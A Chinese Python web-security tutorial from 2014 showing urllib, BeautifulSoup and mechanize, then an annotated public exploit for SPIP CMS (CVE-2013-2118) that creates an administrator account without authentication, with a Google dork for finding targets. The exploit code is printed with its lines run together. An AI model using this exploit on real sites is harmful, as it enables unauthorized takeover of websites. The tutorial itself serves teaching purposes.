lxj616 · 2014/07/21 11:20

0x00 概述


本文从实例代码出发,讲解了Python在WEB安全分析中的作用,以最基础的示例向读者展示了Python如何解析、获取、以及处理各种类型的WEB页面 系统环境:kali + beautifulsoup + mechanize,由于不涉及底层驱动设计,文中的示例代码可以在任意平台使用,当然无论什么平台都要安装好所用的插件。

0x01 利用python获取WEB页面


#!bash
Python 2.7.6 (default, Nov 10 2013, 19:24:24) [MSC v.1500 64 bit (AMD64)] on win32
Type "copyright", "credits" or "license()" for more information.
>>> import urllib
复制代码

首先引入urllib以继续下面的分析

#!python
>>> httpResponse = urllib.urlopen("http://www.baidu.com")
复制代码

以百度为例获取http响应

#!python
>>> httpResponse.code
200
复制代码

状态为200 OK

#!python
>>> print httpResponse.read()[0:500]
复制代码

由于篇幅限制,只显示前500好啦

<!DOCTYPE html><!--STATUS OK--><html><head><meta http-equiv="content-type" content="text/html;charset=utf-8"><meta http-equiv="X-UA-Compatible" content="IE=Edge"><link rel="dns-prefetch" /><link rel="dns-prefetch" /><link rel="dns-prefetch" /><link rel="dns-prefetch" /><link rel="dns-prefetch" /><link rel="dns-prefetch" /><link rel="dns-prefetch" href="//t12.baidu.co
复制代码

看一下http响应的结构

#!python
>>> dir(httpResponse) ['doc', 'init', 'iter', 'module', 'repr', 'close', 'code', 'fileno', 'fp', 'getcode', 'geturl', 'headers', 'info', 'next', 'read', 'readline', 'readlines', 'url']
复制代码

查看响应所对应的url

#!python
>>> httpResponse.url
'http://www.baidu.com'
复制代码

同理可查看headers结构的内部结构

#!python
>>> dir(httpResponse.headers)
['__contains__', '__delitem__', '__doc__', '__getitem__', '__init__', '__iter__', '__len__', '__module__', '__setitem__', '__str__', 'addcontinue', 'addheader', 'dict', 'encodingheader', 'fp', 'get', 'getaddr', 'getaddrlist', 'getallmatchingheaders', 'getdate', 'getdate_tz', 'getencoding', 'getfirstmatchingheader', 'getheader', 'getheaders', 'getmaintype', 'getparam', 'getparamnames', 'getplist', 'getrawheader', 'getsubtype', 'gettype', 'has_key', 'headers', 'iscomment', 'isheader', 'islast', 'items', 'keys', 'maintype', 'parseplist', 'parsetype', 'plist', 'plisttext', 'readheaders', 'rewindbody', 'seekable', 'setdefault', 'startofbody', 'startofheaders', 'status', 'subtype', 'type', 'typeheader', 'unixfrom', 'values']
>>> httpResponse.headers.items()
[('bdqid', '0xeb89374a00028e2e'), ('x-powered-by', 'HPHP'), ('set-cookie', 'BAIDUID=0C926CCF670378EAAA0BD29C611B3AE8:FG=1; expires=Thu, 31-Dec-37 23:55:55 GMT; max-age=2147483647; path=/; domain=.baidu.com, BDSVRTM=0; path=/, H_PS_PSSID=5615_4392_1423_7650_7571_6996_7445_7539_6505_6018_7254_7607_7134_7666_7415_7572_7580_7475; path=/; domain=.baidu.com'), ('expires', 'Tue, 15 Jul 2014 02:37:00 GMT'), ('vary', 'Accept-Encoding'), ('bduserid', '0'), ('server', 'BWS/1.1'), ('connection', 'Close'), ('cxy_all', 'baidu+776b3a548a71afebd09c6640f9af5559'), ('cache-control', 'private'), ('date', 'Tue, 15 Jul 2014 02:37:47 GMT'), ('p3p', 'CP=" OTI DSP COR IVA OUR IND COM "'), ('content-type', 'text/html; charset=utf-8'), ('bdpagetype', '1')]
复制代码

试着简单解析一个

#!python
>>> for header,value in httpResponse.headers.items() :print header+':'+value    bdqid:0xeb89374a00028e2e
x-powered-by:HPHP
set-cookie:BAIDUID=0C926CCF670378EAAA0BD29C611B3AE8:FG=1; expires=Thu, 31-Dec-37 23:55:55 GMT; max-age=2147483647; path=/; domain=.baidu.com, BDSVRTM=0; path=/, H_PS_PSSID=5615_4392_1423_7650_7571_6996_7445_7539_6505_6018_7254_7607_7134_7666_7415_7572_7580_7475; path=/; domain=.baidu.com
expires:Tue, 15 Jul 2014 02:37:00 GMT
vary:Accept-Encoding
bduserid:0
server:BWS/1.1
connection:Close
cxy_all:baidu+776b3a548a71afebd09c6640f9af5559
cache-control:private
date:Tue, 15 Jul 2014 02:37:47 GMT
p3p:CP=" OTI DSP COR IVA OUR IND COM "
content-type:text/html; charset=utf-8
bdpagetype:1>>> url = http://www.baidu.com/s?wd=df&rsv_spt=1
复制代码

完整的url用来获取http页面

#!python
>>> base_url = http://www.baidu.com
复制代码

基础url

#!python
>>> args = {'wd':'df','rsv_spt':1}
复制代码

传参单独构造

#!python
>>> encode_args = urllib.urlencode(args)
复制代码

Urlencode可以编码url形式

#!python
>>> fp2=urllib.urlopen(base_url+'/s?'+encode_args)
复制代码

重新尝试以这样的方式获取WEB页面

#!python
>>> print fp2.read()[0:500].decode("utf-8")
复制代码

由于页面是utf-8的,因此解码中文自己设置

<!DOCTYPE html><!--STATUS OK--><html><head><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"><meta http-equiv="content-type" content="text/html;charset=utf-8"><title>df_百度搜索</title><style data-for="result" >body{color:#333;background:#fff;padding:6px 0 0;margin:0;position:relative;min-width:900px}body,th,td,.p1,.p2{font-family:arial}p,form,ol,ul,li,dl,dt,dd,h3{margin:0;padding:0;list-style:none}input{padding-top:0;padding-bottom:0;-moz-box-sizing:border-box;-webkit-box-sizing
>>>
复制代码

0x02 利用python解析html页面


首先安装beautifulsoup ,http://www.crummy.com/software/BeautifulSoup/

#!bash
[email protected]:~/Desktop/beautifulsoup4-4.3.2# python setup.py install
running install
running build
running build_py
creating build/lib.linux-x86_64-2.7
creating build/lib.linux-x86_64-2.7/bs4
copying bs4/dammit.py -> build/lib.linux-x86_64-2.7/bs4
copying bs4/testing.py -> build/lib.linux-x86_64-2.7/bs4
copying bs4/element.py -> build/lib.linux-x86_64-2.7/bs4
copying bs4/__init__.py -> build/lib.linux-x86_64-2.7/bs4
…………………………………………………………部分省略
copying bs4/diagnose.py -> build/lib.linux-x86_64-2.7/bs4
creating build/lib.linux-x86_64-2.7/bs4/builder
copying bs4/builder/_lxml.py -> build/lib.linux-x86_64-2.7/bs4/builder
copying bs4/builder/_htmlparser.py -> build/lib.linux-x86_64-2.7/bs4/builder
[email protected]:~/Desktop/beautifulsoup4-4.3.2#
复制代码

下面就可以使用bs4了

#!bash
[email protected]:~# python
Python 2.7.3 (default, Jan  2 2013, 13:56:14)
[GCC 4.7.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> from bs4 import BeautifulSoup
复制代码

导入bs4的包(之前安装过了)

#!python
>>> import urllib
>>> html = urllib.urlopen('http://www.baidu.com')
>>> html.code
200
>>> bt = BeautifulSoup(html.read(),"lxml")
复制代码

Lxml解析大概是kali自带的,windows下自己装比较麻烦

#!python
>>> bt.title
复制代码

标题

#!python
<title>百度一下,你就知道</title>
>>> bt.title.string
u'\u767e\u5ea6\u4e00\u4e0b\uff0c\u4f60\u5c31\u77e5\u9053'
>>> bt.meta
<meta content="text/html;charset=utf-8" http-equiv="content-type"/>
>>> bt.meta.next
<meta content="IE=Edge" http-equiv="X-UA-Compatible"/>
>>> bt.meta.next.next
<link  rel="dns-prefetch"/>
>>> allMetaTags = bt.find_all('meta')
复制代码

找出所有的meta数据标签

#!python
>>> allMetaTags
[<meta content="text/html;charset=utf-8" http-equiv="content-type"/>, <meta content="IE=Edge" http-equiv="X-UA-Compatible"/>, <meta content="0; url=/baidu.html?from=noscript" http-equiv="refresh"/>]
>>> allMetaTags[0]
<meta content="text/html;charset=utf-8" http-equiv="content-type"/>>>> allLinks = bt.find_all('a')
复制代码

找出所有的a标签(链接)

#!python
>>> allLinks[0]
<a href="http://www.baidu.com/gaoji/preferences.html" onmousedown="return user_c({'fm':'set','tab':'setting','login':'0'})">搜索设置</a>
>>> allLinks[1]
<a btop" onmousedown="return user_c({'fm':'set','tab':'index','login':'0'})">百度首页</a>>>> for link in allLinks:
...     print link['href']
...
复制代码

试着简单的解析一下

http://www.baidu.com/gaoji/preferences.html
https://passport.baidu.com/v2/?login&tpl=mn&u=http%3A%2F%2Fwww.baidu.com%2F
https://passport.baidu.com/v2/?reg&regType=1&tpl=mn&u=http%3A%2F%2Fwww.baidu.com%2F
http://news.baidu.com/ns?cl=2&rn=20&tn=news&word=
http://tieba.baidu.com/f?kw=&fr=wwwt
http://zhidao.baidu.com/q?ct=17&pn=0&tn=ikaslist&rn=10&word=&fr=wwwt
http://music.baidu.com/search?fr=ps&key=
http://image.baidu.com/i?tn=baiduimage&ps=1&ct=201326592&lm=-1&cl=2&nc=1&word=
http://v.baidu.com/v?ct=301989888&rn=20&pn=0&db=0&s=25&word=
http://map.baidu.com/m?word=&fr=ps01000
http://wenku.baidu.com/search?word=&lm=0&od=0
复制代码

0x03 利用python+mechanize处理表单


#!python
[email protected]:~# python
Python 2.7.3 (default, Jan  2 2013, 13:56:14)
[GCC 4.7.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import mechanize
复制代码

导入mechanize

#!python
>>> br = mechanize.Browser()
复制代码

构建一个浏览器实例

#!python
>>> br.open('http://www.17173.com')
复制代码

打开一个有表单的页面

#!python
<response_seek_wrapper at 0x248db90 whose wrapped object = <closeable_response at 0x248d098 whose fp = <socket._fileobject object at 0x1f868d0>>>>>> for form in br.forms():
...     print form
... <GET http://search.17173.com/jsp/news_press.jsp application/x-www-form-urlencoded<HiddenControl(charset=gbk) (readonly)><TextControl(keyword=��������)><SubmitControl(<None>=����) (readonly)>>
<searchask GET http://search.17173.com/jsp/game.jsp application/x-www-form-urlencoded<HiddenControl(charset=gbk) (readonly)><TextControl(<None>=)><TextControl(<None>=)>>
<voteform POST http://vote.17173.com/action/vote_process.php application/x-www-form-urlencoded<HiddenControl(vote_id=9624) (readonly)><HiddenControl(vote_year=) (readonly)><CheckboxControl(vote_item_9624[]=[49649, 49650, 49651, 49652, 49653, 49654, 49655, 49656])><SubmitControl(<None>=) (readonly)>>
<GET http://search.17173.com/jsp/news_press.jsp application/x-www-form-urlencoded<HiddenControl(charset=gbk) (readonly)><TextControl(keyword=��������)><SubmitControl(<None>=����) (readonly)>>
>>> >>> br.select_form(nr=0)
复制代码

选择要处理的表单

#!python
>>> br.form['keyword']='2013'
复制代码

设置表单属性的值(TextControl)

#!python
>>> br.submit()
复制代码

模拟浏览器提交表单

#!python
<response_seek_wrapper at 0x248dab8 whose wrapped object = <closeable_response at 0x249d950 whose fp = <socket._fileobject object at 0x243e5d0>>>
>>> br
<mechanize._mechanize.Browser instance at 0x242ff38>
>>>
复制代码

0x04 实例分析


以下是一个CMS的管理员密码能被越权找回漏洞,原作者信息均完整保留

#!python
#!/usr/bin/env python
# Exploit Title: SPIP - CMS < 3.0.9 / 2.1.22 / 2.0.23 - Privilege escalation to administrator account from non authenticated user
# Date: 04/30/2014
# Flaw finder : Unknown
# Exploit Author: Gregory DRAPERI
# Email: gregory |dot| draperi |at| gmail |dot| com
# Google Dork : inurl="spip.php"
# Vendor Homepage: www.spip.net
# Software Link: http://files.spip.org/spip/archives/
# Version: SPIP < 3.0.9 / 2.1.22 / 2.0.23
# Tested on: Windows 7 - SPIP 2.2.21
# CVE : CVE-2013-2118
'''
---------------------------------------------------------------------------------------------------------
Software Description:
SPIP is a free software content management system
---------------------------------------------------------------------------------------------------------
Vulnerability Details:
This vulnerability allows remote attackers to create an administrator account on the CMS without being authenticated.
To exploit the flaw, a SMTP configuration has to be configured on SPIP because the password is sent by mail.'''
import urllib, urllib2
import cookielib
import sys
import redef send_request(urlOpener, url, post_data=None):
//发送url(可选是否post)request = urllib2.Request(url)
//使用urllib2来处理http请求url = urlOpener.open(request, post_data)return url.read()if len(sys.argv) < 4:
//简单的系统提示print "SPIP < 3.0.9 / 2.1.22 / 2.0.23 exploit by Gregory DRAPERI\n\tUsage: python script.py <SPIP base_url> <login> <mail>"exit()base_url = sys.argv[1]
//网站地址
login = sys.argv[2]
//登陆地址
mail = sys.argv[3]
//越权发送邮件目的邮箱cookiejar = cookielib.CookieJar()
//处理cookie以伪造身份
urlOpener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookiejar))formulaire = send_request(urlOpener, base_url+"/spip.php?page=identifiants&mode=0minirezo")
print "[+] First request sended..."
//发送HTTP请求m = re.search("<input name='formulaire_action_args' type='hidden'\n[^>]*", formulaire)//寻找目标表单m = re.search("(?<=value=')[\w\+/=]*",m.group(0));formulaire_data = {'var_ajax' : 'form','page' : 'identifiants','mode' : '0minirezo','formulaire_action' : 'inscription','formulaire_action_args' : m.group(0),'nom_inscription' : login,'mail_inscription' : mail,'nobot' : ''}
//构造请求中各参数
formulaire_data = urllib.urlencode(formulaire_data)
//进行url编码send_request(urlOpener, base_url+"/spip.php?page=identifiants&mode=0minirezo", formulaire_data)
print "[+] Second request sended"print "[+] You should receive an email with credentials soon :) "
//第二次发送请求完毕后目标已经完成
复制代码

Python教程WEB安全篇相关推荐

  1. 我的安全之路——Web安全篇

    write in my dormitory at ‏‎9:47:05 Friday, April 7, 2017 by giantbranch(其实当初想横跨web跟二进制的) ----致即将毕业的自 ...

  2. python教程web开发_PythonWeb开发基础教程(Django版)(微课版)-教学大纲

    0 < Python Web 开发基础教程>教学大纲 学 时: 66 代 码: 适用专业: 制 定: 审 核: 批 准: 一.课程的地位.性质和任务 Web 开发基础是普通高等学校计算机科 ...

  3. Web安全篇之SQL注入攻击

    在网上找了一篇关于sql注入的解释文章,还有很多技术,走马观花吧 文章来源:http://www.2cto.com/article/201310/250877.html ps:直接copy,格式有点问 ...

  4. Web安全篇之SQL注入攻击(1)

    文章来源 0day concept <web安全之SQL注入篇>课程简单介绍: SQL注入篇一共分为三讲: 第一讲:"纸上谈兵:我们需要在本地架设注入环境,构造注入语句,了解注入 ...

  5. ftp服务器信息安全,FTP服务器架设教程之安全篇

    既然是公网FTP服务器,就难免会遭遇一些恶意攻击,轻则丢失文件,重则造成FTP服务器甚至整个系统崩溃.怎样才能最大限度地保证它的安全性呢? 一.操作系统的选择 FTP服务器首先是基于操作系统而运作的, ...

  6. 安全篇:弱密码python检测工具

    安全篇:弱密码python检测工具 https://github.com/penoxcn/PyWeakPwdAudit 转载于:https://www.cnblogs.com/andy9468/p/8 ...

  7. API接口开发其实特简单,Python Flask Web 框架教程来了

    大家好,日常工作中,无论你是数据工程师.数据挖掘工程师,甚至数据分析人员,都不可避免的与他人进行数据交互,API接口提供数据是最常见的形式. 今天我给大家分享 Python Flask Web 框架教 ...

  8. Python教程三:使用Flask搭建web服务

    教程二:使用Aestate操作数据库 Python教程二:使用Aestate操作数据库_Cx_轩的博客-CSDN博客​​​​​​ ----------------------------------- ...

  9. python123注册登录_用Python实现web端用户登录和注册功能的教程

    用户管理是绝大部分Web网站都需要解决的问题.用户管理涉及到用户注册和登录. 用户注册相对简单,我们可以先通过API把用户注册这个功能实现了: _RE_MD5 = re.compile(r'^[0-9 ...

最新文章

  1. HitFilm Pro 12中文版
  2. 探索推荐引擎内部的秘密,第 3 部分: 深入推荐引擎相关算法 - 聚类
  3. mysql存储过程删除重复记录
  4. 提高数据中心空间使用率,助力数字新基建
  5. 都在抢论文第一作者,如何处理?
  6. php中花括号的使用
  7. redisb并发访问慢出现的问题
  8. MySQL数据库SQL层级优化
  9. JS字符转为json对象
  10. php 预处理 防注入,PHP防止sql注入小技巧之sql预处理原理与实现方法分析
  11. ajax代码原理,关于Ajax的原理以及代码封装详解
  12. AI迎来重要发展契机,开发者的机会在哪里?
  13. 什么叫做展望_开学季:有一种爱, 叫做爸妈给你塞的行李箱!(附大学新生行李箱应怎么选?)...
  14. 批量将csv转换成shp
  15. 日月神话_功能色彩神话
  16. 抖音代码舞Python制作
  17. 王师傅玩的c语言小游戏,王师傅竟然背着老婆和男人做出这种事...最好玩的炉石冒险活动来了!...
  18. 【正点原子I.MX6U-MINI应用篇】6、嵌入式Linux在LCD屏幕上显示字符
  19. Python删除字符串中的空格和特殊字符
  20. 如何取消Office 正版增值验证

热门文章

  1. 基于TensorFolw的人工智能影像诊断平台工作原理解析
  2. 特斯拉撞了警车:Autopilot全程开启,连撞两车还没自动停下
  3. 计算机视觉成安防“显学”落地仍需解决这些难题
  4. 五分钟看懂XLNet基本思想以及为什么它优于BERT
  5. 初学者如何学习机器学习中的L1和L2正则化
  6. 完美解决latex警告信息:Citation `Gusfield:97‘ on page 1 undefined.
  7. 游戏的「隐藏身份」:AI与现实世界的「王牌训练师」
  8. 城市大脑,是工程问题,但首先是基础科学问题
  9. 【报告解读】126个国家、29个行业、36位高管认为AI的未来这么走
  10. 176页报告辟谣自动化时代的就业危机(附下载)